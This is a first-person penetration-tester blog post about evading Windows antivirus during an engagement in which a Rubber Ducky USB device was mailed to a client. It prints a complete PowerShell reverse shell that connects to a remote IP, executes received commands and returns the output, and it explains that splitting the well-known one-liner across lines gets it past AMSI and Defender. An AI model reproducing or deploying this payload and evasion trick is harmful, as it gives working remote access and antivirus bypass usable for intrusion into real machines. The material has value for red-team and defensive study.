On a previous engagement I sat in front of my computer banging my head, trying to come up with a simple reverse shell that I could be confident would get past my clients antivirus. My plan was to send a Rubber Ducky in the mail that when plugged into my victims computer would emulate a keyboard and inject a series of keystrokes that would give me remote access to the computer. But I was stuck struggling trying to figure out a way to get past antivirus.

I had done a lot of googling and I had found tons of blogs written by smart people talking about creating custom C# code that would get past antivirus. One blog in particular I was reading was talking about using a technique called process hollowing and using tools like Donut and Covenant C2. Diligently following the steps given and trying to customize some portions of the code I still couldn’t get it past antivirus. The crazy thing was months earlier using this same technique I was able to bypass antivirus but apparently things had changed. All the blogs I had been reading had probably been read by the antivirus guys months earlier and some type of signatures had now been written.

After days of struggling trying to customize the code more it was time to give up and go back to square one. Maybe it was true, antivirus had become too smart, after all it was using AI and Machine Learning. Don’t worry I know that’s not true, but I had become disheartened. I had to remember that antivirus only blocks known malicious code, whether that be a malicious type of command or just a word in the code tagged as bad. Based on that knowledge my new idea was to create a reverse shell in PowerShell trying to write completely custom code.

I created a simple reverse shell and then soon realized that it was almost identical to the well known PowerShell reverse shell one liner. I can’t actually find the reverse shell I made several months ago but below is essentially the PowerShell Reverse Shell one liner from PayloadsAllTheThings with some of my own tweaks mixed in.

$client = New-Object System.Net.Sockets.TCPClient("192.168.233.129",443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while (($data = $stream.read($bytes, 0, $bytes.Length)) -ne 0) {
    $cmd = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $data)
    $result = try{(iex $cmd 2>&1 | Out-String )} catch {($error[0] | Out-String)} finally {$dir = (get-location).Path}
    $sendbyte = ([text.encoding]::ASCII).GetBytes($result + "PS " + $dir + "> ")
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}

$client.Close()

If you copy the one liner from PayloadsAllTheThings and paste it into PowerShell you get the old “This script contains malicious content…” error. This error means AMSI, the Antimalware Scan Interface, has recognized this code as malicious. So some kind of signature is catching it.

AMSI Error

But if you use my payload above which splits the one liner into several lines….

Reverse Shell Success

No errors, and we have a shell!!!

So can we just put this payload into a simple PowerShell script and run it? Can it be that simple?

Reverse Shell Script Failure

Yes, we can. It really is that simple.

What is going on?

I think this is because when you run each line separately, AMSI analyzes each line separately. Each of these lines on their own aren’t recognized by AMSI as malicious. Even when all of the lines are in the same script AMSI still seems to be analyzing the contents of each line separately.

In case you are wondering, yes Windows Defender is turned on and I am running an up to date version of Windows.

Windows Security On

Windows Version

I was able to utilize this payload on the engagement and when someone plugged in the USB I had a reverse shell and more importantly a foothold on their network.

The moral of the story is sometimes you can just think simpler.